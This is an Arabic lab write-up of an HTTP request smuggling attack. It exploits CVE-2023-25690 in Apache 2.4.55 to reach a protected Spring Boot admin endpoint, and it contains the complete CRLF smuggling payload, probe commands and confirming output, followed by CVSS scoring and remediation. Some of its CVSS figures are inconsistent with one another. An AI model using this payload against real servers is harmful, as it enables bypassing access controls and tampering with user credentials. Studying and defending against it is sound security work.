
مختبر تهريب طلبات HTTP: Apache 2.4.55 CRLF injection
| المكوّن | الدور | الإصدار |
|---|
| خادم Apache HTTP | وكيل عكسي | 2.4.55 (قابل للاستغلال) |
| Spring Boot (Tomcat مدمج) | واجهة برمجة التطبيقات الخلفية | 4.x (Java 21) |
| SQLite | قاعدة البيانات | — |
المستخدم ──► Apache :80 (الوكيل) ──► Spring Boot :8080 (الخلفية) ──► SQLite
│
├─ mod_rewrite + mod_proxy
├─ CVE-2023-25690: أحرف CRLF غير معقّمة
├─ RewriteRule "^/public/?(.*)" "http://spring-backend:8080/public/$1" [P]
├─ RewriteRule "^/service/(.*)" "http://spring-backend:8080/api/status?name=$1" [P]
└─ قائمة التحكم بالوصول: <Location "/admin"> محظورة
POST /public/register: تسمح بتسجيل المستخدمين في قاعدة البيانات
POST /public/login: تسمح بتسجيل الدخول عبر التحقق من بيانات الاعتماد المُدخلة وتصدر رمز جلسة
GET /public/dashboard: منطقة مخصصة للمستخدمين
GET /api/status: يقبل معامل "name"، وهو نقطة نهاية مثال للتحقق من حالة الخدمات
GET /public/logout
POST /admin/edit/{id}/{newName}/{newPass}: مسار غير قابل للوصول نظريًا للجمهور ويسمح للمسؤولين بتعديل بيانات المستخدمين
أثناء نشاط اختبار الاختراق، تم تحديد ثغرة حرجة في البنية التحتية للوكيل العكسي التي تعرض خلفية Spring Boot. خادم Apache HTTP Server الإصدار 2.4.55 متأثر بالثغرة CVE-2023-25690 (تهريب طلبات HTTP)، والتي تسمح للمهاجم بـتجاوز عوامل تصفية الأمان المفروضة على الوكيل والوصول مباشرة إلى نقاط النهاية الإدارية الداخلية غير المحمية.
يستغل الهجوم غياب تعقيم أحرف التحكم (CRLF) في قواعد RewriteRule الخاصة بـ Apache، مما يسمح بحقن طلب HTTP ثانٍ بين معاملات طلب مشروع نحو الخلفية. أثبت إثبات المفهوم التعديل غير المصرح به لبيانات اعتماد المستخدم في قاعدة البيانات عبر نقطة النهاية /admin/edit/{id}/{newName}/{newPass}، المحمية نظريًا بواسطة قوائم التحكم بالوصول الخاصة بالوكيل.
التوصيات: تحديث Apache HTTP Server فورًا إلى الإصدار ≥ 2.4.56، وتعزيز عوامل تصفية الأمان على الوكيل، وتنفيذ طبقة أمان على مستوى الخلفية (Spring Security) لجميع نقاط النهاية الحساسة.
تحديد إصدار Apache عبر تحليل ترويسات HTTP في الاستجابة.
$ curl -I http://localhost/service/
HTTP/1.1 200
Date: Sun, 21 Jun 2026 08:54:00 GMT
Server: Apache/2.4.55 (Unix)
Content-Type: text/plain;charset=UTF-8
Content-Length: 42
النتيجة: تكشف ترويسة الخادم عن Apache/2.4.55. الاستعلام عن قاعدة بيانات CVE → تطابق مع CVE-2023-25690.
وفقًا لـ CVE، في هذا الإصدار من Apache، إذا كانت هناك قاعدة RewriteRule تنسخ في عنوان URL الوجهة للخلفية أحرفًا عامة قادمة من الطلب إلى الوكيل، فإن النص المنسوخ لا يتم تعقيمه، وبالتالي تمر أيضًا أحرف التحكم (مثل رجوع السطر).
على سبيل المثال: RewriteRule "^/here/(.*)" "http://backend.com:8080/elsewhere?$1" [P] // حرف P يعني وضع الوكيل
لذا فإن هدفنا الآن هو اكتشاف أي نقطة نهاية محتملة تقوم بهذا النسخ على مستوى الوكيل
من تحليل الاستجابات وسلوك التطبيق، نلاحظ أن الجلسة تُدار عبر JSESSIONID، مما يؤكد استخدام حاوية Servlet بلغة Java (مثل Apache Tomcat أو Jetty أو WildFly)، بالإضافة إلى ذلك، فإن الطلب إلى نقاط نهاية غير موجودة يُرجع "صفحة خطأ Whitelabel" مما يشير إلى وجود Spring Boot في الخلفية.
من خلال سكربت bash لأتمتة الفحص بالقاموس، تم تعيين نقاط النهاية المعرّضة على الشبكة (يفترض أنها جميعها)
النتيجة:
| نقطة النهاية | رمز HTTP | الطريقة | المعاملات |
|---|---|---|---|
| admin | 403 | GET | (بدون معاملات) |
| public/register | 200 | POST | user=test&pass=test |
| public/login | 200 | POST | user=test&pass=test |
| public/dashboard | 200 | GET | (بدون معاملات) |
| public/logout | 200 | GET | (بدون معاملات) |
| api/status | 200 | GET | (بدون معاملات) |
| service/* | 200 | GET | (بدون معاملات) |
نظرًا لأن:
كلاهما يُرجعان نفس الاستجابة، نفهم أنهما يشيران إلى نفس نقطة النهاية في الخلفية، وبما أن الطلبات مثل /service/x/y/z (التي على الأرجح غير موجودة) لا تُرجع 404، يمكن استنتاج أن نقطة النهاية الأصلية تقبل معاملًا وليس متغير مسار، وبالتالي في الختام يمكن استنتاج أن الطلبات إلى /service/<الخدمة> تُترجم عبر قاعدة RewriteRule إلى خلفية Spring Boot (وهذا بالضبط ما كنا نبحث عنه). الآن يجب معرفة ما إذا كانت قاعدة RewriteRule هذه وهمية، أي تستخدم regex من نوع .* أم أنها منظمة جيدًا.
أحاول إدراج أحرف تحكم في الطلب لتقسيم المحتوى المشروع عن المحتوى المخفي:
curl -v --path-as-is 'localhost/service/x%20HTTP/1.1%0d%0aHost:%20spring-backend%0d%0a%0d%0aprova:%20ok%0d%0atrash_header:%20'
>> ... HTTP/1.1 200 ... الخدمة 'x' تعمل ومستقرة.
قمت بإدراج معامل مخصص للتحقق من أن أحرف CRLF يتم تفسيرها بشكل صحيح
لدى trash_header مهمة تغليف الترويسات التي سيضيفها Apache إلى الطلب المرسل إلى الخلفية (بهذه الطريقة سيتم تفسيرها كنص بسيط لترويسة X ولن يكون لها قيمة لغرض طلب HTTP)
مع tcpdump في حاوية الخلفية، تمكنت من اعتراض طلب HTTP القادم من Apache:
docker exec -it apache_vuln-spring-backend-1 sh
apk add tcpdump
tcpdump -i any -A port 8080
ترى الخلفية هذا الطلب:
GET /api/status?name=x HTTP/1.1
Host: spring-backend
prova: ok
trash_header: HTTP/1.1
Host: spring-backend:8080
User-Agent: curl/7.81.0
Accept: */*
X-Forwarded-For: 172.19.0.1
X-Forwarded-Host: localhost
X-Forwarded-Server: localhost
Connection: Keep-Alive
"أحرف التحكم تحكمت"
تشير الاستجابة إلى أن الجزء الذي يحتوي على أحرف التحكم مرّ دون عوائق كبنية لطلب HTTP نفسه وليس كمعامل فقط (لأن الاسم الذي التقطته الخلفية هو 'x' فقط). لذا فرضنا تنسيق طلب HTTP نحو الخلفية واستقبله الوكيل، وهذا يفتح الطريق أمام الحمولة الحقيقية للتهريب.
| نقطة النهاية | الطريقة | الوصول | ملاحظات |
|---|---|---|---|
/public/register | POST | عام | تسجيل المستخدم |
/public/login | POST | عام | تسجيل الدخول، يصدر JSESSIONID |
/public/dashboard | GET | مصادق عليه | منطقة مخصصة |
/public/logout | GET | عام | تدمير الجلسة |
/api/status?name= | GET | عام | فحص الصحة |
/service/{param} | GET | عام | بوابة قابلة للاستغلال ($1 في سلسلة الاستعلام) |
/admin/edit/{id}/{n}/{p} | POST | محمي (قائمة التحكم بالوصول) | تعديل بيانات اعتماد المستخدم |
/admin/ | * | محظور (403) | قائمة التحكم بالوصول لـ Apache |
إجبار الوكيل العكسي Apache على إعادة توجيه طلبين منفصلين إلى خلفية Spring Boot، بحيث يصل الطلب الثاني إلى نقطة النهاية /admin/edit/ متجاوزًا عامل تصفية قائمة التحكم بالوصول الخاص بـ Apache.
في هذه المرحلة، تخيل أن localhost و spring-backend هما على التوالي العناوين العامة للوكيل والخادم. في حال كان الوكيل والخلفية في نفس الشبكة (أو المؤسسة)، سيكون spring-backend عنوان IP خاص (والذي سيكون من الصعب معرفته للأسف)
تكمن الثغرة في قاعدة RewriteRule:
RewriteRule "^/service/(.*)" "http://spring-backend:8080/api/status?name=$1" [P]
يلتقط الوكيل إدخال المستخدم في $1 ويدرجه في سلسلة الاستعلام دون تعقيم أحرف التحكم (%20, %0d%0a). تفسر الخلفية (Tomcat) هذه الأحرف على أنها إنهاء لعنوان URL وبداية طلب HTTP جديد على نفس مقبس TCP.
A) GET /service/x ← الجزء المشروع؛ كل ما يأتي بعد /service/
ينتهي في $1 (معامل name)
B) %20HTTP/1.1 ← [نقطة التقسيم] مسافة تغلق
عنوان URL مبكرًا في الخلفية
C) %0d%0aHost:...%0d%0a%0d%0a ← [حقن الترويسة] CRLF لإنهاء
الطلب الأول
D) POST /admin/edit/1/HACKED/PWNED ← [الطلب المهرب] طلب
خبيث مخفي نحو نقطة نهاية admin
E) %20HTTP/1.1 ← إصدار HTTP للطلب الثاني
F) %0d%0aContent-Length:%200 ← جسم فارغ لطلب POST
%0d%0aConnection:%20close
%0d%0aX-Header:%20 ← [مصيدة الترويسة] يمتص الترويسات المضافة
تلقائيًا بواسطة Apache
GET /service/x%20HTTP/1.1%0d%0aHost:%20spring-backend%0d%0a%0d%0aPOST%20/admin/edit/1/HACKED/PWNED%20HTTP/1.1%0d%0aContent-Length:%200%0d%0aConnection:%20close%0d%0aX-Header:%20 HTTP/1.1
Host: localhost
ما يراه Apache (طلب واحد فقط):
GET /service/x%20HTTP/1.1%0d%0a... HTTP/1.1
Host: localhost
ما تستقبله الخلفية (طلبان على نفس المقبس):
--- الطلب 1 (مشروع، لكنه "مبتور") ---
GET /api/status?name=x HTTP/1.1
Host: spring-backend
--- الطلب 2 (مهرب) ---
POST /admin/edit/1/HACKED/PWNED HTTP/1.1
Content-Length: 0
Connection: close
X-Header:
>> ... HTTP/1.1 200 ... الخدمة 'x' تعمل ومستقرة.
تمت إعادة تسمية المستخدم ذو المعرف 1 إلى HACKED بكلمة مرور PWNED — تجاوز كامل لقوائم التحكم بالوصول الخاصة بالوكيل.
الوصول المباشر إلى قاعدة البيانات للتأكيد:
$ docker exec apache_vuln-spring-backend-1 sqlite3 /app/users.db "SELECT * FROM user;"
1|HACKED|PWNED
| المعرّف | الوصف |
|---|---|
| CVE-2023-25690 | تهريب طلبات HTTP في خادم Apache HTTP عبر mod_proxy مع RewriteRule/ProxyPassMatch |
| CWE-444 | تفسير غير متناسق لطلبات HTTP ('تهريب طلبات/استجابات HTTP') |
| CWE-113 | تحييد غير صحيح لتسلسلات CRLF في ترويسات HTTP ('تقسيم استجابات HTTP') |
| المقياس | القيمة | الوصف |
|---|---|---|
| ناقل الهجوم (AV) | N (شبكة) | قابل للوصول من شبكة بعيدة |
| تعقيد الهجوم (AC) | L (منخفض) | لا توجد شروط خاصة |
| الامتيازات المطلوبة (PR) | N (لا شيء) | لا تتطلب مصادقة |
| تفاعل المستخدم (UI) | N (لا شيء) | لا يتطلب تفاعل الضحية |
| النطاق (S) | C (متغير) | المكوّن القابل للاستغلال مختلف عن المتأثر |
| السرية (C) | H (عالية) | الوصول إلى نقاط نهاية محجوزة |
| السلامة (I) | H (عالية) | تعديل بيانات المستخدم في قاعدة البيانات |
| التوفر (A) | H (عالية) | احتمال تسميم ذاكرة التخزين المؤقت للوكيل / تلويث المقابس |
النتيجة الأساسية: 10.0 (حرجة) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
| المقياس | القيمة | الوصف |
|---|---|---|
| نضج كود الاستغلال (E) | F (يوجد استغلال وظيفي) | استغلال يعمل |
| مستوى المعالجة (RL) | O (إصلاح رسمي) | في الإصدارات اللاحقة من Apache، تم إصلاح الخلل |
| ثقة التقرير (RC) | C (مؤكد) | ثغرة مؤكدة وموثقة |
النتيجة الزمنية: 9.3 (عالية)
| المقياس | القيمة | الوصف |
|---|---|---|
| ناقل الهجوم (MAV) | N (شبكة) | الوكيل معرّض على الإنترنت |
| تعقيد الهجوم (MAC) | H (عالية) | يتطلب معرفة ببنية نقاط النهاية الداخلية |
| الامتيازات المطلوبة (MPR) | L (منخفضة) | لا حاجة لأي نوع من الامتيازات |
| تفاعل المستخدم (MUI) | N (لا شيء) | لا حاجة لتفاعل من مستخدمين خارجيين |
| النطاق (MS) | C (متغير) | يتم اختراق نظام عبر نظام آخر |
| مقاييس الأثر (MC/MI/MA) | H/H/H | أقصى ضرر (تعديل البيانات في قاعدة البيانات) |
| متطلبات CIA (CR/IR/AR) | H/H/H | نظام حرج (تسجيل دخول المستخدمين) |
النتيجة البيئية: 8.0 (عالية)
سلسلة الناقل: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H/E:F/RL:O/RC:C/CR:H/IR:H/AR:H/MAV:N/MAC:H/MPR:L/MUI:N/MS:C/MC:H/MI:H/MA:H
النتيجة الإجمالية: 8.0 — عالية
تحديث Apache HTTP Server إلى الإصدار ≥ 2.4.56، حيث يتم فرض تعقيم أحرف التحكم في قواعد RewriteRule مع علامة [P] على مستوى نواة الخادم.
| الإصدار الحالي | الإصدار المستهدف | الإصلاح |
|---|---|---|
| 2.4.55 | 2.4.56+ | تعقيم تلقائي لـ CRLF في mod_proxy |
إضافة spring-boot-starter-security إلى ملف pom.xml:
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-security</artifactId>
</dependency>
تكوين SecurityFilterChain يحمي نقاط النهاية الإدارية:
@Configuration
@EnableWebSecurity
public class SecurityConfig {
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http
.authorizeHttpRequests(auth -> auth
.requestMatchers("/public/**").permitAll()
.requestMatchers("/api/**").permitAll()
.requestMatchers("/admin/**").hasRole("ADMIN")
.anyRequest().authenticated()
)
.httpBasic(Customizer.withDefaults())
.sessionManagement(session -> session
.sessionCreationPolicy(SessionCreationPolicy.IF_REQUIRED));
return http.build();
}
}
إضافة فحوصات على جميع المعاملات المقبولة من نقاط النهاية (سلسلة الاستعلام، متغيرات المسار، بيانات النماذج):
@PostMapping("/admin/edit/{id}/{newName}/{newPass}")
public String adminEdit(
@PathVariable Long id,
@PathVariable @NotBlank String newName,
@PathVariable @NotBlank String newPass,
HttpSession session) {
// التحقق من أن المستخدم لديه دور ADMIN
User loggedUser = (User) session.getAttribute("LOGGED_USER");
if (loggedUser == null || !loggedUser.hasAdminRole()) {
return "تم رفض الوصول";
}
// ... العملية مسموحة فقط بعد فحص المصادقة
}